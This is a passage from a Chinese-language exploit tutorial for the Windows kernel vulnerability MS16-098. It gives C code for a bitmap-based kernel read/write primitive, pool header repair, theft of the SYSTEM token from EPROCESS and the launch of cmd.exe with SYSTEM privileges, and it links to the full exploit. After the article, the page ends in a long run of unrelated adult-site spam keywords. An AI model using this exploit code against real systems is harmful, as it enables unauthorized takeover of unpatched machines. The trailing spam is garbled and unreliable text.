  1. for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) { 
  2.         points[2].y = 0x5a1f
  3.     } 
  4.     if (!PolylineTo(hMemDC, points, 0x3FE01)) { 
  5.         fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError()); 
  6.     } 

然后,一個(gè)驗(yàn)證被添加到調(diào)用PolyLineTo的循環(huán)中,以檢查循環(huán)次數(shù)是否大于0x1F,如果大于就將points [2].y的值更改為大于0x1F0的值,從而使檢查失敗,由此后續(xù)的point不會(huì)再被復(fù)制到我們的緩沖區(qū)中。

這樣可以有效地控制溢出,函數(shù)會(huì)溢出緩沖區(qū)直到下一個(gè)相鄰的位圖對(duì)象的sizlBitmap成員為0x1和0xFFFFFFFF。這有效的增大了位圖對(duì)象,允許我們對(duì)這個(gè)位圖對(duì)象進(jìn)行越界讀寫(xiě)。找到到底是哪個(gè)位圖對(duì)象的方法是通過(guò)循環(huán)調(diào)用GetBitmapBits函數(shù),如果得到的大小大于從我們的內(nèi)核池噴出的位圖的原始值則該位圖是被溢出的,那么它是管理器位圖,并且相鄰的下一個(gè)是工作者位圖。

  1. for (int k=0; k < 5000; k++) { res = GetBitmapBits(bitmaps[k], 0x1000, bits); if (res > 0x150) // if check succeeds we found our bitmap. 

如果一切都能按計(jì)劃進(jìn)行,我們就應(yīng)該能夠從內(nèi)存中讀取0x1000 bit。 下面有位圖對(duì)象在溢出前后,標(biāo)題,sizLBitmap和hdev成員溢出。

下面是一個(gè)位圖對(duì)象在溢出前后的成員的值

http://p7.qhimg.com/t01cf9468754624096b.png

當(dāng)循環(huán)檢測(cè)是哪個(gè)位圖被執(zhí)行時(shí),會(huì)在幾次調(diào)用GetBitmapBits之后發(fā)生崩潰。崩潰發(fā)生在PDEVOBJ:: bAlowSharedAcces函數(shù)中,當(dāng)試圖從地址0x0000000100000000(它是上面重寫(xiě)的位圖對(duì)象的hdev成員)讀取時(shí)。在分析時(shí)注意到位圖對(duì)象有一個(gè)成員要么是NULL要么是指向的Gdev設(shè)備對(duì)象的指針,在這種情況下這個(gè)成員是指向設(shè)備對(duì)象的指針。

函數(shù)win32k!GreGetBitmapBits會(huì)調(diào)用NEEDGRELOCK::vLock,而這個(gè)函數(shù)會(huì)接著調(diào)用PDEVOBJ::bAllowSharedAccess。通過(guò)觀察NEEDGRELOCK::vLock函數(shù)的反匯編,可以注意到這個(gè)函數(shù)使用PDEVOBJ只是為了調(diào)用PDEVOBJ::bAllowSharedAccess,如果這個(gè)函數(shù)的返回值為零,那么它將繼續(xù)進(jìn)行其他的檢查,此后就沒(méi)有再使用過(guò)PDEVOBJ了。

此外,在GreGetBitmapBits中,函數(shù)不檢查NEEDGRELOCK::vlock的返回值,執(zhí)行后,PDEVOBJ:: bAllowSharedAccess將嘗試讀取第一個(gè)功能塊中的地址,如果讀到的數(shù)據(jù)等于1,那么這個(gè)函數(shù)將以0值退出,而這是繼續(xù)執(zhí)行所要求的。

使用VirtualAlloc為此地址分配內(nèi)存并將所有的字節(jié)都設(shè)置為1,將會(huì)無(wú)錯(cuò)誤的退出函數(shù)。并且會(huì)回收GetBitmapBits使用的位圖數(shù)據(jù),整個(gè)過(guò)程不會(huì)發(fā)生崩潰。

  1. VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 
  2. memset(fake, 0x1, 0x100); 

Step 6 – 修復(fù)被溢出的頭部:

在這一點(diǎn)上,exploit能夠讀寫(xiě)大小為0xFFFFFFFF * 1 * 4的相鄰內(nèi)存,這足以到達(dá)下一頁(yè)中的第二個(gè)相鄰位圖對(duì)象,并覆蓋要用于在內(nèi)核內(nèi)存上進(jìn)行任意讀寫(xiě)的pvScan0地址。

當(dāng)exploit退出時(shí),我注意到有時(shí)在進(jìn)程退出時(shí)會(huì)發(fā)生一些與池頭有關(guān)的崩潰。解決這個(gè)問(wèn)題的方案是使用GetBitmapbits,讀取下一個(gè)區(qū)域(region)和位圖對(duì)象的頭,這些對(duì)象沒(méi)有被覆蓋,然后泄露一個(gè)可以在region對(duì)象中找到的內(nèi)核地址,

計(jì)算被溢出覆蓋的區(qū)域(region)對(duì)象的地址的方法是將泄漏出來(lái)的地址的最低字節(jié)置為空,這將提供給我們當(dāng)前頁(yè)的開(kāi)始的地址,然后將倒數(shù)第二個(gè)低字節(jié)減去0x10,從當(dāng)前頁(yè)的起始減去0x1000,就可以得到前一頁(yè)的開(kāi)始地址。

  1. addr1[0x0] = 0; 
  2. int u = addr1[0x1]; 
  3. uu = u - 0x10; 

接下來(lái)要計(jì)算溢出的Bitmap對(duì)象的地址,記住region對(duì)象的大小為0xbc0,因此將在最后一步得到的地址的最低字節(jié)設(shè)置為0xc0,并將0xb加給倒數(shù)第二個(gè)最低字節(jié),將獲得發(fā)生溢出的位圖對(duì)象的頭部地址。

  1. ddr1[0] = 0xc0; 
  2. int y = addr1[1]; 
  3. yy = y + 0xb; 
  4. addr1[1] = y; 

然后,管理器(manager)位圖對(duì)象通過(guò)SetBitmapBits覆寫(xiě)工作者位圖對(duì)象的pvScan0成員為區(qū)域頭的地址(region header)。然后,工作者(worker)位圖被SetBitmapBits用來(lái)設(shè)置該地址指向的數(shù)據(jù)為在第一步驟中讀取的頭部數(shù)據(jù)。對(duì)于溢出的位圖對(duì)象頭也是這樣。

  1. void SetAddress(BYTE* address) { 
  2.     for (int i = 0; i < sizeof(address); i++) { 
  3.         bits[0xdf0 + i] = address[i]; 
  4.     } 
  5.     SetBitmapBits(hManager, 0x1000, bits); 
  6. void WriteToAddress(BYTE* data) { 
  7.     SetBitmapBits(hWorker, sizeof(data), data); 
  8. SetAddress(addr1); 
  9. WriteToAddress(Gh05); 

Step 7 – 從EPROCESS對(duì)象中偷取Token:

這個(gè)過(guò)程起始于獲取PsInitialSystemProcess全局變量的內(nèi)核地址,這個(gè)指針指向EPROCESS列表中的第一個(gè)條目,該指針由ntoskrnl.exe導(dǎo)出。

  1. // Get base of ntoskrnl.exe 
  2. ULONG64 GetNTOsBase() 
  3.     ULONG64 Bases[0x1000]; 
  4.     DWORD needed = 0
  5.     ULONG64 krnlbase = 0
  6.     if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) { 
  7.         krnlbase = Bases[0]; 
  8.     } 
  9.     return krnlbase; 
  10. // Get EPROCESS for System process 
  11. ULONG64 PsInitialSystemProcess() 
  12.     // load ntoskrnl.exe 
  13.     ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe"); 
  14.     // get address of exported PsInitialSystemProcess variable 
  15.     ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); 
  16.     FreeLibrary((HMODULE)ntos); 
  17.     ULONG64 res = 0
  18.     ULONG64 ntOsBase = GetNTOsBase(); 
  19.     // subtract addr from ntos to get PsInitialSystemProcess offset from base 
  20.     if (ntOsBase) { 
  21.         ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64)); 
  22.     } 
  23.     return res; 

PsInitalSystemProcess(譯注:作者起一樣的名字不怕歧義?這里指的是上面代碼中的函數(shù))會(huì)把ntoskrnl.exe加載到內(nèi)存中,并使用GetProcAddress獲取導(dǎo)出的PsInitialSystemProcess的地址,然后使用EnumDeviceDrivers()函數(shù)獲取內(nèi)核基址。把PsInitialSystemProcess的值減去內(nèi)核加載基址,就可以得到一個(gè)偏移量,將此偏移量加到檢索到的內(nèi)核基址上就可以得到PsInitialSystemProcess指針的內(nèi)核地址。

  1. LONG64 PsGetCurrentProcess() 
  2.     ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS 
  3.      // walk ActiveProcessLinks until we find our Pid 
  4.     LIST_ENTRY ActiveProcessLinks; 
  5.     ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); 
  6.     ULONG64 res = 0
  7.     while (TRUE) { 
  8.         ULONG64 UniqueProcessId = 0
  9.         // adjust EPROCESS pointer for next entry 
  10.         pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64); 
  11.         // get pid 
  12.         ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64)); 
  13.         // is this our pid? 
  14.         if (GetCurrentProcessId() == UniqueProcessId) { 
  15.             res = pEPROCESS
  16.             break; 
  17.         } 
  18.         // get next entry 
  19.         ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); 
  20.         // if next same as last, we reached the end 
  21.         if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64)) 
  22.             break; 
  23.     } 
  24.     return res; 

然后,它將使用管理器(manager)和工作者(worker)位圖來(lái)遍歷EPROCESS列表,查找列表中的當(dāng)前進(jìn)程。找到之后,會(huì)通過(guò)位圖從EPROCESS列表中的第一個(gè)條目讀取SYSTEM的Token,在EPROCESS列表中寫(xiě)入當(dāng)前的進(jìn)程。

  1. // get System EPROCESS 
  2. ULONG64 SystemEPROCESS = PsInitialSystemProcess(); 
  3. //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); 
  4. ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); 
  5. //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); 
  6. ULONG64 SystemToken = 0
  7. // read token from system process 
  8. ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8); 
  9. // write token to current process 
  10. ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; 
  11. SetAddress((BYTE *)&CurProccessAddr); 
  12. WriteToAddress((BYTE *)&SystemToken); 
  13. // Done and done. We're System :) 

Step 8 – SYSTEM !!

現(xiàn)在,當(dāng)前的進(jìn)程就擁有了SYSTEM令牌,并且會(huì)以SYSTEM權(quán)限執(zhí)行。

1system("cmd.exe");

http://p5.qhimg.com/t01bde4e0d9e0d15fb8.jpg

本文示例的下載地址:https://gitlab.sensepost.com/saif/MS16-098_RNGOBJ_Integer_Overflow

責(zé)任編輯:趙寧寧 來(lái)源: 安全客
相關(guān)推薦

2013-11-18 09:44:02

2010-09-15 09:24:55

2013-11-19 12:23:42

Windows 8.1PC

2021-06-26 07:04:24

Epoll服務(wù)器機(jī)制

2014-06-09 09:19:10

2015-02-02 15:29:08

2015-01-16 17:09:42

Windows8.1漏系統(tǒng)漏洞微軟

2014-04-14 11:23:27

WP8.1Build2014

2013-08-16 13:37:16

Windows 8.1

2017-03-10 20:26:27

2013-05-23 10:48:14

EPATHOBJ 0d0day漏洞

2025-04-11 09:37:31

2013-07-19 09:42:09

Windows 8.1Win8.1 RTM

2020-10-14 09:44:52

漏洞

2020-02-25 16:41:48

Windows微軟漏洞

2022-08-17 15:14:41

Linux內(nèi)核漏洞開(kāi)源

2022-05-06 14:40:32

漏洞補(bǔ)丁Android

2025-01-07 13:36:51

2025-11-05 03:00:00

Linux內(nèi)核TCP粘包

2024-12-17 16:09:36

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

japan高清日本乱xxxxx| 中文精品视频一区二区在线观看| 日本一级一片免费视频| 国内精品久久久久久99蜜桃| 欧美日韩国产综合一区二区三区| 大桥未久一区二区| 天堂v在线观看| 免费人成在线不卡| 欧美激情精品在线| av电影网站在线观看| 日本一区二区三区播放| 欧美视频国产精品| 综合网五月天| 视频二区在线| 久久超级碰视频| 91国内精品久久| 五月综合色婷婷| 国产主播性色av福利精品一区| 91豆麻精品91久久久久久| 97在线免费视频观看| 日本不卡免费播放| 懂色一区二区三区免费观看| 国产精品久久久999| 国产精品1000| 亚洲精品888| 在线电影中文日韩| 醉酒壮男gay强迫野外xx| 精品欧美视频| 欧美三片在线视频观看| 欧美v在线观看| 欧美日韩经典丝袜| 综合在线观看色| 色99中文字幕| 欧美日韩在线中文字幕| 成人av一区二区三区| 亚洲bt天天射| 一级特黄aaaaaa大片| 久久精品伊人| 97av视频在线| 日本免费一二三区| 国内精品福利| 欧美成人在线影院| 老熟妇高潮一区二区三区| heyzo久久| 亚洲欧美日韩精品久久| 日韩免费高清一区二区| 成人性生交大片免费看96| 欧美一区二区不卡视频| 手机在线观看日韩av| 色999韩欧美国产综合俺来也| 日本韩国欧美国产| 久久久久国产精品熟女影院| 伊人色综合一区二区三区影院视频| 亚洲国产成人av| 久久手机在线视频| 欧美videossex| 亚洲一线二线三线久久久| 免费观看亚洲视频| 欧美性video| 亚洲成人午夜影院| 9久久9毛片又大又硬又粗| 岛国在线视频网站| 欧美视频在线看| 日本老熟妇毛茸茸| 国产91欧美| 欧美老肥妇做.爰bbww| 亚洲高清视频免费| 日韩黄色av| 亚洲成人av中文字幕| 妖精视频一区二区| 亚洲精品国产动漫| 亚洲少妇中文在线| 最新日韩免费视频| 亚洲人成免费网站| 欧美日韩成人黄色| 国产成人自拍视频在线| 久久久久在线| 成人国产精品久久久| 国产露脸国语对白在线| 风间由美性色一区二区三区 | 国产乱人伦偷精品视频免下载| 91精品在线一区| 亚洲乱熟女一区二区| 91亚洲资源网| 亚洲高清视频在线观看| 最近中文字幕免费mv2018在线| 亚洲国产精品久久久久婷婷884| 日批视频在线免费看| 亚洲电影有码| 日韩视频一区二区| 日韩网站在线播放| 日韩欧美网址| 亚洲97在线观看| 波多野结衣二区三区| 国产另类ts人妖一区二区| 精品国产综合区久久久久久| 69久久精品| 午夜精品福利一区二区三区蜜桃| 在线观看免费成人av| 精品午夜视频| 亚洲美女喷白浆| 日本福利片在线观看| 国产亚洲网站| 91在线精品视频| 色就是色亚洲色图| 亚洲女同女同女同女同女同69| 国产一区二区在线视频播放| 亚洲成人1区| 亚洲码在线观看| 欧美国产精品一二三| 日本va欧美va精品| 国产视色精品亚洲一区二区| 免费成人黄色| 91国偷自产一区二区三区成为亚洲经典 | 日韩视频免费观看高清在线视频| 人妻熟女aⅴ一区二区三区汇编| 98精品久久久久久久| 青青在线视频一区二区三区| 国产黄频在线观看| 国产精品久久久久婷婷| 国模吧无码一区二区三区| 日本少妇精品亚洲第一区| 色999日韩欧美国产| av大全在线观看| 国产成人综合在线播放| 在线亚洲美日韩| av一区在线| 日韩av在线不卡| 久久精品视频日本| 国产精品一二三区在线| 自拍偷拍视频在线| 久久久国产精品网站| 国产午夜精品理论片a级探花| 免费视频网站www| 韩国成人福利片在线播放| 五月天久久狠狠| 欧美激情喷水| 亚洲毛茸茸少妇高潮呻吟| 国产精品日日夜夜| 国产成人免费网站| 五月天在线免费视频| 日韩三级成人| 中文字幕av一区| 中文在线字幕av| 久久精品日韩一区二区三区| 成年人观看网站| 美女久久99| 国产a∨精品一区二区三区不卡| 无码国产精品96久久久久| 亚洲午夜免费电影| jjzz黄色片| 激情成人亚洲| 国产欧美日韩综合精品二区| heyzo在线| 日韩成人在线视频网站| 日本在线播放视频| 久久久久久免费网| 91最新在线观看| 成人免费a**址| 国产精品揄拍500视频| 婷婷激情在线| 欧美一区二区在线免费观看| 青娱乐国产在线视频| 国产99精品在线观看| 国产日韩av网站| 神马日本精品| 国产精品第一第二| 免费黄色网页在线观看| 精品欧美乱码久久久久久 | 2019国产精品视频| 牛牛精品在线| 亚洲免费电影一区| 中文字幕+乱码+中文乱码91| 成人免费视频在线观看| 韩国三级在线看| 国产一区二区精品| 亚洲综合欧美日韩| 一区二区视频| 91禁外国网站| 99视频在线观看地址| 这里只有精品视频在线观看| 久久久久久欧美精品se一二三四| 久久影院电视剧免费观看| 91极品视频在线观看| 欧美在线网址| 欧美成人蜜桃| 国产美女视频一区二区| 久久久视频免费观看| 国产一区二区三区福利| 日韩一级视频免费观看在线| 日本少妇久久久| 中日韩免费视频中文字幕| 国产人妻精品久久久久野外| 亚洲一区国产一区| 中文字幕日韩精品一区二区| 久久久久97| 国产日韩精品在线| 少妇视频一区| 久久精品电影一区二区| 涩爱av在线播放一区二区| 欧美精品亚洲一区二区在线播放| 日韩av在线播| 亚洲人精品午夜| 波多野结衣a v在线| 国产乱人伦偷精品视频不卡| 老司机午夜av| 99国产精品| 国产一二三四区在线观看| 亚洲男人都懂第一日本| 粉嫩av一区二区三区免费观看| 欧美成人精品三级网站| 高清欧美性猛交| 丝袜美腿美女被狂躁在线观看| 亚洲精品www| 99久久夜色精品国产亚洲| 欧美三区免费完整视频在线观看| 日本午夜小视频| 亚洲精品欧美综合四区| 国产又粗又猛又爽又黄的视频四季| 99这里都是精品| 香蕉网在线视频| 老司机精品视频导航| www.国产区| 亚洲免费中文| 成人免费在线网| 欧美日韩福利| 水蜜桃在线免费观看| 爽成人777777婷婷| 婷婷精品国产一区二区三区日韩| 网红女主播少妇精品视频| 国产精品免费一区二区三区观看 | 午夜亚洲一区| 精品少妇在线视频| 欧美精品首页| 在线观看成人免费| 亚洲第一偷拍| 免费看啪啪网站| 999视频精品| 亚洲欧洲一区二区| 日韩电影二区| 亚洲三区在线观看| 日韩久久久久| 亚洲欧洲日本国产| 日韩精品欧美| 正在播放国产精品| 亚洲精品99| 日本一级黄视频| 黄色欧美成人| 欧美精品久久久久久久自慰| 亚洲二区在线| 欧美视频在线免费播放| 亚洲影院免费| 日韩精品免费播放| 久久久777| av网站在线不卡| 精品无码三级在线观看视频| 亚洲免费999| 狠狠色狠狠色综合日日91app| 日韩va在线观看| 国产乱人伦偷精品视频不卡| 国产欧美视频一区| 99re视频精品| 免费看污片网站| 欧美国产日韩精品免费观看| 91视频免费看片| 亚洲视频图片小说| 国产一级视频在线观看| 日韩欧美高清视频| 中文字幕人妻色偷偷久久| 欧美电影一区二区三区| 性做久久久久久久| 日韩精品一区二区三区蜜臀| 色婷婷av一区二区三区之e本道| 精品丝袜一区二区三区| 二区三区在线播放| 欧美精品亚州精品| 在线最新版中文在线| 国产欧美一区二区白浆黑人| 欧一区二区三区| 免费亚洲精品视频| 欧美国产一区二区三区激情无套| 日韩专区第三页| 模特精品在线| 香蕉视频xxxx| 26uuuu精品一区二区| 日本在线观看网址| 亚洲成人av一区| 中文字幕日本视频| 精品人伦一区二区色婷婷| 精品av中文字幕在线毛片 | 美女看a上一区| 中国xxxx性xxxx产国| 日本一区二区在线不卡| 久久久久久久九九九九| 91久久精品一区二区| 成人黄色在线观看视频| 亚洲欧美三级在线| 国内在线视频| 国产日韩在线观看av| 蜜桃久久久久| 一区二区三区在线视频111| 亚洲大胆在线| 在线免费视频a| 9l国产精品久久久久麻豆| 性色国产成人久久久精品| 精品欧美国产一区二区三区| 一本色道久久综合精品婷婷| 日韩高清有码在线| 日本成人不卡| 国产中文欧美精品| 精品在线播放| 日韩xxxx视频| 精品亚洲国产成人av制服丝袜| 中文在线一区二区三区| 亚洲激情欧美激情| 一区二区视频网站| 亚洲欧美中文日韩在线v日本| 青草视频在线免费直播| 成人亚洲激情网| 国产精品一线天粉嫩av| av动漫在线看| 成人免费观看视频| 亚洲色图综合区| 宅男噜噜噜66一区二区66| 国产黄色在线| 日本高清视频一区| 天天躁日日躁狠狠躁欧美| 97中文字幕在线| 国产成人在线免费观看| 97成人资源站| 制服丝袜亚洲播放| 日本在线免费中文字幕| 国产精品极品尤物在线观看| 校花撩起jk露出白色内裤国产精品| 97中文字幕在线| 国产91露脸合集magnet| 国产精品九九九九九九| 3d动漫精品啪啪一区二区竹菊| 日韩精品黄色| 国产日韩精品一区二区| 日韩欧美高清在线播放| www.com操| 国产精品久久久久久亚洲伦 | 日韩一区二区三区在线观看| 欧美日韩在线看片| 国产一区二中文字幕在线看| 日韩欧美不卡| 亚洲18在线看污www麻豆| 日韩毛片一二三区| 国产人妖在线播放| 欧美麻豆久久久久久中文| 日韩欧美一级| 欧美激情视频免费看| av成人老司机| 欧产日产国产69| 国产一区二区美女视频| 成人黄色毛片| 一区二区三区四区五区视频| 精品无人码麻豆乱码1区2区| 丁香花五月激情| 精品国产乱码久久久久久浪潮 | 亚洲第一综合色| 五月婷婷深深爱| 日韩免费在线免费观看| 成人同人动漫免费观看| 午夜福利123| 亚洲国产日日夜夜| 毛片免费在线观看| 国产欧美精品久久久| 欧美一区二区三区另类| 91九色蝌蚪porny| 日韩欧美黄色动漫| 日本中文字幕在线观看| 国产高清自拍一区| 乱人伦精品视频在线观看| 91在线无精精品白丝| 欧美一区二区美女| 两个人看的在线视频www| 深田咏美在线x99av| 国产精品一区二区你懂的| 日本熟妇成熟毛茸茸| 亚洲色图狂野欧美| 无码国模国产在线观看| 久久久久久久久久久久久国产精品 | www.亚洲视频| 147欧美人体大胆444| 亚洲影院在线| 免费三级在线观看| 亚洲九九九在线观看| www.久久久.com| 阿v天堂2017| 中文字幕中文乱码欧美一区二区| 精品国产免费无码久久久| 日本亚洲欧洲色α| 午夜久久黄色| 久久成人激情视频| 精品国精品国产尤物美女| 激情开心成人网| 黄瓜视频免费观看在线观看www | 免费看日本黄色片|